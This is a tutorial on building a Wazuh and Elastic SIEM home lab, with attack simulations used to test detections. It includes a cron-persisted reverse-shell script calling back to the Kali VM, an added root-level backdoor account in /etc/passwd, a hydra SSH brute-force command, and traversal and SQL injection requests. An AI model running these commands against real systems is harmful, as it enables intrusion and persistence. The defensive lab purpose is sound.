Building a Home Lab for SIEM Practice with Wazuh/Elastic
The goal is to build something that actually teaches you how SIEM works

There is a gap between understanding security concepts and being able to actually work with them. You can read about SIEM, log correlation, and threat detection for months and still feel lost the first time you sit in front of a real dashboard with real alerts firing.
The only way to close that gap is hands-on practice, and a home lab is how you get there without needing a corporate environment or a budget.
This isn't a guide for just spinning up a VM and following an installer. The goal is to understand how SIEM works in the real world, how logs flow, how rules fire, and what actual detections look like when you simulate the attacks behind them.
By the end, you will have a functional Wazuh + Elastic stack running on your own hardware or in a local VM environment, with agents deployed, custom rules written, and attack simulations you can run to validate your setup.
If you are preparing for a cybersecurity certification, working toward a SOC role, or just want to understand what is actually happening on your servers, this lab can certainly help you.
Table of Contents
1. What you're actually building
Before touching any installer, it's worth being clear about what each component does and why the architecture is built the way it is. A lot of home lab guides skip this and you end up with a working setup you don't fully understand.
Wazuh is an open-source security platform that does three things: collects security events from agents deployed on endpoints, runs detection rules against those events, and generates alerts. Think of it as the collection and analysis layer, it's what watches your systems and decides what's worth flagging.
Elastic Stack (Elasticsearch + Kibana) is the storage and visualization layer. Wazuh sends its indexed data to Elasticsearch, and Kibana gives you the dashboard interface where you actually investigate alerts, build visualizations, and hunt for threats.
Together they form a fully functional SIEM that matches what you'd find in many SMBs and mid-market security operations centers, without the enterprise price tag.
2. Hardware and software requirements
The good news is you don't need dedicated hardware for this. Everything in this guide runs on a modern laptop or desktop using virtualization. Here is the realistic minimum you will need to run this smoothly without any frustration:
| Component | Minimum | Recommended |
|---|---|---|
| RAM | 16 GB | 32 GB |
| CPU | 4 cores | 8 cores |
| Storage | 100 GB free | 200 GB SSD |
| OS (host) | Any (Linux preferred) | Ubuntu 22.04 or macOS |
If your machine has 16 GB RAM, it will work but you will want to be careful about not running everything at once. With 32 GB you can run all VMs simultaneously without throttling.
Virtualization options:
VirtualBox: free, cross-platform, good enough for a lab.
VMware Workstation Pro: better performance, better networking, paid (free tier available for Personal Use or Educational purposes)
Proxmox: if you have a dedicated machine, this is the ideal setup. Bare-metal hypervisor, excellent for a permanent home lab.
Multipass: lightweight VM manager for Ubuntu, fastest to spin up if you're on Linux
Software you need:
Wazuh 4.x (all-in-one installer available)
Elastic Stack 8.x
Ubuntu 22.04 Server ISO (Wazuh Manager + Linux Agent)
Windows 10/11 ISO (Windows Agent, optional but valuable)
Kali Linux ISO (attack simulation)
💡 Start small
If RAM is a constraint, start with just the Wazuh Manager and one Linux agent. Get the pipeline working end-to-end before adding more endpoints. A working minimal lab teaches more than a broken full lab.
3. Lab architecture and network design
Network design is the part that is most often skimped in home lab guides and most often causes problems later. Getting this right from the start saves hours of troubleshooting later.
The lab uses two networks:
NAT Network: gives all VMs internet access for package installation and updates, without exposing them to your home network
Host-only / Internal Network: isolated network for agent-to-manager communication, simulating a real internal network segment

IP allocation (static addresses):
| VM | NAT IP | Internal IP | Role |
|---|---|---|---|
| Wazuh Manager | 192.168.100.10 | 10.0.0.10 | SIEM server |
| Linux Agent | 192.168.100.20 | 10.0.0.20 | Monitored endpoint |
| Windows Agent | 192.168.100.30 | 10.0.0.30 | Monitored endpoint |
| Kali Linux | 192.168.100.40 | 10.0.0.40 | Attack simulation |
Static IPs matter here because the Wazuh agents need to point to a consistent manager address. If DHCP reassigns addresses between reboots, your agents will lose connection.
4. Setting up the virtual machines
Create the NAT Network first
# VirtualBox, create a NAT network with a defined subnet
VBoxManage natnetwork add \
--netname "WazuhLab" \
--network "192.168.100.0/24" \
--enable \
--dhcp off
VM specs, allocate resources per machine
| VM | RAM | CPU | Disk | OS |
|---|---|---|---|---|
| Wazuh Manager | 4-8 GB | 2-4 cores | 50 GB | Ubuntu 22.04 Server |
| Linux Agent | 1-2 GB | 1-2 cores | 20 GB | Ubuntu 22.04 Server |
| Windows Agent | 2-4 GB | 2 cores | 40 GB | Windows 10 |
| Kali Linux | 2-4 GB | 2 cores | 30 GB | Kali Rolling |
Set static IP on Ubuntu VMs (netplan)
# /etc/netplan/00-installer-config.yaml
# Run: sudo nano /etc/netplan/00-installer-config.yaml
network:
version: 2
ethernets:
enp0s3: # NAT adapter, you need to match yours with: ip link
dhcp4: false
addresses:
- 192.168.100.10/24 # Change per VM config
nameservers:
addresses: [8.8.8.8, 8.8.4.4]
routes:
- to: default
via: 192.168.100.1
enp0s8: # Internal/host-only adapter
dhcp4: false
addresses:
- 10.0.0.10/24 # Change per VM config
# Apply netplan config
sudo netplan apply
# Verify
ip addr show
ping -c 3 8.8.8.8
Base packages for all Ubuntu VMs
sudo apt update && sudo apt upgrade -y
sudo apt install -y \
curl wget git vim net-tools \
nmap tcpdump htop \
ufw fail2ban
# Set hostname (you need to repeat this on each VM)
sudo hostnamectl set-hostname wazuh-manager # adjust per VM
5. Installing Wazuh Manager
Wazuh provides an all-in-one installer that handles the Manager, Indexer, and Dashboard in a single script. For a home lab this is the right approach, it gets you to a working state fast without struggling with individual component configurations.
# On the Wazuh Manager VM (192.168.100.10)
# Download the Wazuh installation assistant
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
curl -sO https://packages.wazuh.com/4.7/config.yml
Before running the installer, configure config.yml with your VM's IP address:
# config.yml (edit before running installer)
nodes:
indexer:
- name: node-1
ip: "192.168.100.10" # Your Wazuh Manager IP address
server:
- name: wazuh-1
ip: "192.168.100.10" # Same IP address
dashboard:
- name: dashboard
ip: "192.168.100.10" # Same IP address
# Generate configuration files
bash wazuh-install.sh --generate-config-files
# Install Wazuh Indexer
bash wazuh-install.sh --wazuh-indexer node-1
# Initialize the cluster
bash wazuh-install.sh --start-cluster
# Install Wazuh Server
bash wazuh-install.sh --wazuh-server wazuh-1
# Install Wazuh Dashboard
bash wazuh-install.sh --wazuh-dashboard dashboard
The installer will output the credentials at the end, save them immediately:
INFO: --- Summary ---
INFO: You can access the web interface https://192.168.100.10
INFO: User: admin
INFO: Password: <generated-password>
# Check all services are running
systemctl status wazuh-manager
systemctl status wazuh-indexer
systemctl status wazuh-dashboard
# Check manager log for errors
tail -f /var/ossec/logs/ossec.log
Firewall rules for the manager
# UFW rules to secure the Wazuh Manager VM
sudo ufw allow 1514/tcp comment 'Wazuh agent communication'
sudo ufw allow 1515/tcp comment 'Wazuh agent registration'
sudo ufw allow 443/tcp comment 'Wazuh dashboard HTTPS'
sudo ufw allow 9200/tcp comment 'Elasticsearch API'
sudo ufw allow 5601/tcp comment 'Kibana'
sudo ufw enable
sudo ufw status verbose
Access the dashboard at https://192.168.100.10 you will get a certificate warning since it is self-signed, which is expected in a lab environment.
6. Installing and connecting Wazuh agents
An agent without anything to monitor teaches you nothing. The point of deploying agents is to generate real log data, authentication events, file changes, process activity, that flows into your SIEM and triggers detections.
Deploy agent on Linux (Ubuntu)
# On the Linux Agent VM (192.168.100.20)
# Add Wazuh repository
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | \
gpg --no-default-keyring \
--keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg \
--import && \
chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] \
https://packages.wazuh.com/4.x/apt/ stable main" | \
tee -a /etc/apt/sources.list.d/wazuh.list
apt update
# Install agent and point it to your Wazuh manager
WAZUH_MANAGER="192.168.100.10" \
WAZUH_AGENT_NAME="linux-agent-01" \
apt install wazuh-agent -y
# Enable and start
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
# Verify connection
systemctl status wazuh-agent
tail -f /var/ossec/logs/ossec.log
Deploy agent on Windows
Run this in PowerShell as Administrator on the Windows VM:
# Download Wazuh agent installer
Invoke-WebRequest -Uri "https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.0-1.msi" `
-OutFile "$env:TEMP\wazuh-agent.msi"
# Install with Wazuh manager IP
msiexec.exe /i "$env:TEMP\wazuh-agent.msi" /q `
WAZUH_MANAGER="192.168.100.10" `
WAZUH_AGENT_NAME="windows-agent-01" `
WAZUH_REGISTRATION_SERVER="192.168.100.10"
# Start the service
NET START WazuhSvc
# Verify status
Get-Service WazuhSvc
Verify agents appear in the dashboard
# On the Wazuh Manager, list registered agents
/var/ossec/bin/agent_control -l
# Check agent connection status
/var/ossec/bin/agent_control -i AGENT_ID
# The following is the expected output:
# Agent ID: 001
# Agent Name: linux-agent-01
# Status: Active
Expand what the agent monitors
By default the agent monitors a limited set of paths. For a useful lab, expand it:
<!-- /var/ossec/etc/ossec.conf on the agent, add this inside <ossec_config> -->
<localfile>
<log_format>syslog</log_format>
<location>/var/log/auth.log</location>
</localfile>
<localfile>
<log_format>syslog</log_format>
<location>/var/log/syslog</location>
</localfile>
<localfile>
<log_format>apache</log_format>
<location>/var/log/nginx/access.log</location>
</localfile>
<localfile>
<log_format>apache</log_format>
<location>/var/log/nginx/error.log</location>
</localfile>
<!-- File Integrity Monitoring, confirn these paths -->
<syscheck>
<frequency>300</frequency> <!-- frequency in seconds -->
<directories check_all="yes" report_changes="yes" realtime="yes">
/etc/passwd,/etc/shadow,/etc/sudoers
</directories>
<directories check_all="yes" report_changes="yes" realtime="yes">
/var/www/html
</directories>
<directories check_all="yes">
/usr/bin,/usr/sbin
</directories>
</syscheck>
# Restart agent to apply config changes
systemctl restart wazuh-agent
7. Integrating Elastic stack
Wazuh has its own built-in dashboard, but integrating Elastic Stack gives you significantly more power for log hunting, custom visualizations, and building detection use cases. This is also the setup you will find most often in real-world deployments.
# On the Wazuh Manager VM, follow these steps to install Elasticsearch
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | \
gpg --dearmor -o /usr/share/keyrings/elasticsearch-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/elasticsearch-keyring.gpg] \
https://artifacts.elastic.co/packages/8.x/apt stable main" | \
tee /etc/apt/sources.list.d/elastic-8.x.list
apt update && apt install elasticsearch kibana filebeat -y
Configure Elasticsearch
# /etc/elasticsearch/elasticsearch.yml
cluster.name: wazuh-lab
node.name: node-1
network.host: 192.168.100.10
http.port: 9200
discovery.type: single-node
# Security settings (keep enabled)
xpack.security.enabled: true
xpack.security.enrollment.enabled: true
# Start and enable Elasticsearch
systemctl daemon-reload
systemctl enable elasticsearch
systemctl start elasticsearch
# Generate passwords for built-in users (save the output)
/usr/share/elasticsearch/bin/elasticsearch-setup-passwords auto
Configure Filebeat to ship Wazuh alerts to Elastic
# Install Wazuh Filebeat module
curl -s https://packages.wazuh.com/4.x/filebeat/wazuh-filebeat-0.3.tar.gz | \
tar -xvz -C /usr/share/filebeat/module
# /etc/filebeat/filebeat.yml
output.elasticsearch:
hosts: ["192.168.100.10:9200"]
protocol: "https"
username: "elastic"
password: "YOUR_ELASTIC_PASSWORD"
ssl.certificate_authorities:
- /etc/elasticsearch/certs/http_ca.crt
setup.kibana:
host: "192.168.100.10:5601"
username: "elastic"
password: "YOUR_ELASTIC_PASSWORD"
ssl.certificate_authorities:
- /etc/elasticsearch/certs/http_ca.crt
filebeat.modules:
- module: wazuh
alerts:
enabled: true
archives:
enabled: false
# Enable the Wazuh module and load dashboards
filebeat modules enable wazuh
filebeat setup --dashboards
systemctl enable filebeat
systemctl start filebeat
# Verify data is flowing
filebeat test output
Configure Kibana
# /etc/kibana/kibana.yml
server.host: "192.168.100.10"
server.port: 5601
elasticsearch.hosts: ["https://192.168.100.10:9200"]
elasticsearch.username: "kibana_system"
elasticsearch.password: "YOUR_KIBANA_SYSTEM_PASSWORD"
elasticsearch.ssl.certificateAuthorities:
- /etc/elasticsearch/certs/http_ca.crt
systemctl enable kibana
systemctl start kibana
# Verify stack health status
curl -s -u elastic:PASSWORD \
--cacert /etc/elasticsearch/certs/http_ca.crt \
https://192.168.100.10:9200/_cluster/health | python3 -m json.tool
Access Kibana at https://192.168.100.10:5601. The Wazuh dashboards installed by Filebeat will be available under Analytics → Dashboards.
8. Writing and tuning detection rules
This is where most home lab guides stop, they get you to "data is flowing" and call it done. But understanding how to write and tune detection rules is what makes the difference between someone who set up a SIEM and someone who can actually use one.
Wazuh rules are XML-based and follow a specific structure. Each rule has an ID, a level (severity), and conditions that must be true for the rule to fire.
Rule structure — the basics
<!-- /var/ossec/etc/rules/local_rules.xml -->
<group name="local,custom">
<!-- Rule 1: Detect SSH login from Kali machine specifically -->
<rule id="100001" level="10">
<if_group>syslog</if_group>
<srcip>192.168.100.40</srcip> <!-- Kali IP address -->
<match>Accepted password</match>
<description>SSH login from known attack machine (Kali)</description>
<mitre>
<id>T1078</id> <!-- Valid Accounts -->
</mitre>
</rule>
<!-- Rule 2: Detect PHP web shell patterns in web logs -->
<rule id="100002" level="12">
<if_group>web</if_group>
<regex>eval\(|base64_decode|system\(|passthru\(</regex>
<description>Possible web shell execution attempt in web request</description>
<mitre>
<id>T1505.003</id> <!-- Web Shell -->
</mitre>
</rule>
<!-- Rule 3: Detect new user account creation -->
<rule id="100003" level="8">
<if_group>syslog</if_group>
<match>new user:</match>
<description>New local user account created</description>
<mitre>
<id>T1136.001</id> <!-- Create Local Account -->
</mitre>
</rule>
<!-- Rule 4: Repeated sudo failures (privilege escalation attempt) -->
<rule id="100004" level="10" frequency="3" timeframe="120">
<if_matched_sid>5402</if_matched_sid> <!-- parent: sudo failure -->
<same_source_user />
<description>Multiple sudo authentication failures — possible privesc attempt</description>
<mitre>
<id>T1548.003</id> <!-- Sudo and Sudo Caching -->
</mitre>
</rule>
</group>
# Test rules without restarting the Wazuh manager
/var/ossec/bin/wazuh-logtest
# Reload rules after changes
systemctl restart wazuh-manager
# View active rules for a specific group
/var/ossec/bin/ossec-logtest -t
# Check rule match counts
tail -f /var/ossec/logs/alerts/alerts.log
Understanding rule levels
| Level | Severity | Examples |
|---|---|---|
| 0-3 | Informational | Normal authentication events |
| 4-6 | Low | First-time login from new IP |
| 7-9 | Medium | Failed login attempts |
| 10-11 | High | Brute force detected, rootkit indicator |
| 12-15 | Critical | Web shell, privilege escalation confirmed |
9. Simulating attacks to validate your setup
A SIEM that you've never tested against real attack patterns is a SIEM you don't understand. Running controlled attack simulations serves two purposes: it validates that your detections actually fire, and it teaches you what real attack traffic looks like so you can recognize it during incident response.
All simulations below are run from the Kali Linux VM (192.168.100.40) against the Linux Agent VM (192.168.100.20).
⚠️ Only run these against machines you own and control, in this case, your lab VMs.
Simulation 1 — SSH brute force
# From Kali VM, simulate SSH brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 4 \
-vV \
192.168.100.20 ssh
# Wazuh should alert: Rule 5763 - Multiple SSH authentication failures
# Level: 10
# Check if it fires in real time:
tail -f /var/ossec/logs/alerts/alerts.json | \
python3 -m json.tool | grep -A5 "rule"
Simulation 2 — Port scan detection
# From Kali VM run a comprehensive port scan
nmap -sV -sC -p- --min-rate 1000 192.168.100.20
# Wazuh should alert: Rule 40101- Host scan detected
# Also look for: multiple connection attempts in short timeframe
Simulation 3 — Web application attack (if Nginx is running on agent)
# Install Nginx on the Linux Agent first
sudo apt install nginx -y
# From Kali VM simulate web scanner using nikto
nikto -h http://192.168.100.20
# Simulate directory traversal attempt
curl "http://192.168.100.20/../../../../etc/passwd"
# Simulate SQL injection pattern in URL
curl "http://192.168.100.20/page?id=1'+OR+'1'='1"
# Wazuh should alert:
# Rule 31106 — Web attack: directory traversal
# Rule 31103 — Web attack: SQL injection attempt
Simulation 4 — File integrity violation (FIM)
# On the Linux Agent simulate unauthorized file modification
# (assuming an attacker who already has shell access)
echo "attacker::0:0:root:/root:/bin/bash" >> /etc/passwd
# Wazuh should alert: Rule 550 - Integrity checksum changed
# For monitored file: /etc/passwd
# Level: 7 - this one fires fast because /etc/passwd is monitored in real time
# Clean up after the test
head -n -1 /etc/passwd > /tmp/passwd.tmp && mv /tmp/passwd.tmp /etc/passwd
Simulation 5 — Privilege escalation attempt
# On the Linux Agent simulate failed sudo attempts
su - lowprivuser
sudo cat /etc/shadow # Enter wrong password 3 times
# Wazuh should alert: Rule 100004 (our custom rule)
# Multiple sudo failures from same user
What to look for in Kibana after simulations
Index: wazuh-alerts-*
Useful filters to build in Kibana:
- rule.level >= 10 → high severity alerts only
- agent.name: linux-agent-01 → filter by specific endpoint
- data.srcip: 192.168.100.40 → all events from Kali machine
- rule.mitre.technique: T1078 → filter by MITRE technique
10. Practice scenarios to build real skills
Having the lab running is step one. What you actually do with it determines how much you learn. Here are structured scenarios that build progressively, start with scenario 1 and work forward.
Scenario 1: Alert triage (beginner)
Run the SSH brute force simulation. Open the Wazuh dashboard and find the alert.
Scenario 2: Baseline vs. anomaly (beginner-intermediate)
Let the lab run idle for 24 hours without running any simulations. Export the alerts to a CSV. This is your baseline. Now run one simulation and identify which new events don't appear in the baseline.
Scenario 3: Persistence detection (intermediate)
Simulate an attacker who has gained initial access and is trying to persist:
# On the Linux Agent simulate persistence techniques
# Add a cron job as an unprivileged user
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/backdoor.sh") | crontab -
# Create a suspicious file in /tmp
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.100.40/4444 0>&1' > /tmp/backdoor.sh
chmod +x /tmp/backdoor.sh
# Expected alerts: FIM alert on crontab change, suspicious file creation
You can investigate how many alerts fired? In what order? What is the timeline?
Scenario 4: Rule tuning (intermediate)
After running all simulations, look at your alert feed. Find three alerts that are either false positives (firing on legitimate activity) or too noisy (firing too frequently to be useful). Modify or suppress each one using Wazuh's rule exclusion syntax:
<!-- Add to local_rules.xml to suppress a specific false positive -->
<rule id="100010" level="0">
<if_sid>5402</if_sid> <!-- parent rule to suppress -->
<user>YOUR_ADMIN_USER</user> <!-- only for this user -->
<description>Suppress sudo failure for known admin user during lab testing</description>
</rule>
Scenario 5: Threat hunting without alerts (advanced)
Disable alerts for 30 minutes and just run simulations. Then open Kibana, go to raw logs, and find evidence of the attacks without relying on pre-written rules. This is the most valuable exercise in the list because it forces you to understand the underlying data, and in real incidents, attackers often specifically evade detection rules while leaving traces in raw logs.
At this point you have built a test environment and a practice ground for the skills that actually matter in security work. The ability to read alerts, trace events back through logs, write detection rules, and generate a coherent incident narrative from raw data.
Those skills transfer directly to client work, to SOC roles, and to security certification exams that test whether you understand security as a practice rather than as a checklist.
Run the scenarios, break things, rebuild them, and document what you learn. The lab is only valuable if you use it.
References
Written by Pablo Huertas - Cybersecurity Specialist & Technical Writer
15+ years in enterprise technical support and incident management.



